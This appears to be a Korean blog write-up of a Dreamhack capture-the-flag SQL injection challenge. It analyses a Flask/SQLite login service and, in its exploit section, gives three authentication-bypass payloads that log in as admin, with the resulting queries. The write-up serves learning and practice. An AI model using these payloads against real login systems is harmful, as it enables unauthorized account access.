반응형
문제 설명
로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
코드 분석
데이터베이스

- 데이터 베이스 파일명을 database.db로 설정
- 데이터베이스 파일이 존재하지 않을 경우, 데이터베이스 파일 생성
- users 테이블 userid와 userpassword 생성
- 테이블 값으로 userid: guest, userpassword: guest, userid: admin, userpassword: 랜덤값(16바이트)

- getdb함수 정의
- g는 요청동안만 쓰는 임시 저장 공간
- g안에 '_database'라는 값 있으면 가져오고 없으면 None 반환해라 라는 뜻
이미 만들어둔 DB 연결이 있나 확인하는 줄이다. - 밑에는 없다면 새로 연결하라는 뜻

- query_db 함수를 정의하고, query = DB에 보낼 질문(SQL), one=True는 결과를 1개만 받음, False시 결과를 전부 받음
- get_db로 DB연결하고, DB에 SQL질의문 실행
- 실행결과 전부다 rv에 저장
- one=True면 결과 있을 때 rv[0], 결과 없을 때 None / one=False면 rv 전체 출력

- teardown_appcontext: 요청처리가 끝날 때마다, 아래 함수를 자동으로 호출해라 라는 뜻
- close_connection 함수 정의
- g에 '_database' 있으면 가져오고 없으면 None
- db 연결중이면 닫음
/login

GET
: 이용자가 GET 메소드 요청 시 login.html 출력
POST
: 이용자가 POST 요청 시,
- 이용자한테서 userid와 userpassword 입력받음
- DB에서 users 테이블에서 userid와 userpassword 가져오고, 사용자가 입력한 값과 비교
- 쿼리 결과가 존재하는 경우, 로그인할 계정을 해당 쿼리의 결과에서 불러와 사용
- admin이면 flag획득
취약점 분석


- login()과 query_db() 함수를 살펴보면 userid와 userpassword를 이용자한테 입력받고, 동적으로 쿼리문을 생성한 뒤, query_db함수에서 SQLite에 질의
- 이렇게 동적으로 생성된 쿼리를 Rawquery라고 함
- Rawquery는 이용자의 입력 값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음
- 이용자의 입력 값을 검사하는 문구가 필요
익스플로잇
이 쿼리문을 조작
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
1) ID: admin" --, PW: 1234 입력하면?
SELECT * FROM users WHERE userid="admin"--" AND userpassword="1234";
뒤 내용은 주석 처리가 됨
2) ID: admin" or "1, PW: 1234 입력하면?
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="1234";
AND와 OR 중 AND가 먼저 연산을 수행함 → 1(True) AND userpassword = "1234"로 해석
뒷 내용은 항상 True가 된다.
3) ID: admin, PW: 1234" or userid="admin
SELECT * FROM users WHERE userid="admin" AND userpassword="1234" or userid="admin";
앞에 구문은 False가 되지만 False or userid="admin" 문구가 만들어줘 참이 된다.
그 밖에 여러 방법이 있다.


반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| XSS Filtering Bypass (0) | 2026.01.21 |
|---|---|
| {"role": "admin"} (0) | 2026.01.21 |
| csrf-2 (1) | 2026.01.11 |
| csrf - 1 (0) | 2026.01.11 |
| session-basic (0) | 2026.01.09 |